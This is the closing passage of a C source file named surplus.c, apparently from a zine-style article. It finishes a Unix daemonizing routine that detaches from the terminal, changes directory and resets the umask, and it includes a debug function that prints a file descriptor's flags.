  3320.                                     /* Detach from controlling terminal */
  3321.     if ((fd = open("/dev/tty", O_RDWR)) >= 0)
  3322.     {
  3323.         if ((ioctl(fd, TIOCNOTTY, (char *)NULL)) == -1)
  3324.                 err_exit(1, 1, verbose, "[fatal] cannot detach from controlling terminal");
  3325.         close(fd);
  3326.     }
  3327.     errno = 0;
  3328.     chdir(WORKING_ROOT);            /* Working dir should be the root */
  3329.     umask(0);                       /* File creation mask should be 0 */
  3330. }
  3331.  
  3332. #ifdef  DEBUG
  3333.  
  3334. /*
  3335.  *  Bulk of this function taken from Stevens APUE...
  3336.  *  got this from Mooks (LTC)
  3337.  */
  3338.  
  3339. void fd_status(int fd, int newline)
  3340. {
  3341.     int accmode = 0, val = 0;
  3342.  
  3343.     val = fcntl(fd, F_GETFL, 0);
  3344.  
  3345. #if !defined(pyr) && !defined(ibm032) && !defined(sony_news) && !defined(NeXT)
  3346.     accmode = val & O_ACCMODE;
  3347. #else                           /* pyramid */
  3348.     accmode = val;              /* kludge */
  3349. #endif                          /* pyramid */
  3350.      if (accmode == O_RDONLY)       fprintf(stderr, " read only");
  3351.      else if (accmode == O_WRONLY)  fprintf(stderr, " write only");
  3352.      else if (accmode == O_RDWR)    fprintf(stderr, " read write");
  3353.      if (val & O_APPEND)            fprintf(stderr, " append");
  3354.      if (val & O_NONBLOCK)          fprintf(stderr, " nonblocking");
  3355.      else                           fprintf(stderr, " blocking");
  3356. #if defined(O_SYNC)
  3357.      if (val & O_SYNC)              fprintf(stderr, " sync writes");
  3358. #else
  3359. #if defined(O_FSYNC)
  3360.      if (val & O_FSYNC)             fprintf(stderr, " sync writes");
  3361. #endif                          /* O_FSYNC */
  3362. #endif                          /* O_SYNC */
  3363.      if (newline)                   fprintf(stderr, "\r\n");
  3364. }
  3365. #endif  /* DEBUG */
  3366.  
  3367. /* EOF */
  3368. <--> surplus.c
  3369.  
  3370. ----[  EOF
  3371.